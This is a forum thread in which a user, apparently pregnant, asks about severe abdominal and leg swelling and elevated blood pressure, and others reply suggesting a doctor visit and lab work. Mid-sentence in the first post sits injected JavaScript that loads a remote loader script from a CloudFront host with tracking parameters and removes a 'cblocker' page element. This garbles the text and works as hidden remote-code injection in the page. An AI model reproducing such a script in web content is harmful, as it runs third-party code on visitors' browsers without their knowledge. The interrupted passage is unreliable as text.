Very concerned about swelling

Hi BOTT's!

I hope all is well.  I am staying the same weight wise but am EXTREMELY swollen in my abdomen, and my calves and my feet look like sausages.  I feel awful because of it.  Does anyone know what could be causing this?

And it isn't just heat, cause I am in cool A/C all day and it STILL happens.

And my blood pressure has been elevated for weeks :(  Like around 140/90 if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};

Swelling can be caused by too many things to make a guess.  I would contact my PCP and let them take a few tests to see what is causing this if it continues.  I would drink plenty of fluids and watch  my sodium until I knew for sure though.  I hope you find out soon.  Let us know what it is when you find out.

Low protein level, or kidney or liver issues issue.  That are some major issues that may casue the sweling you describe...

You need very detail lab work ASAP.
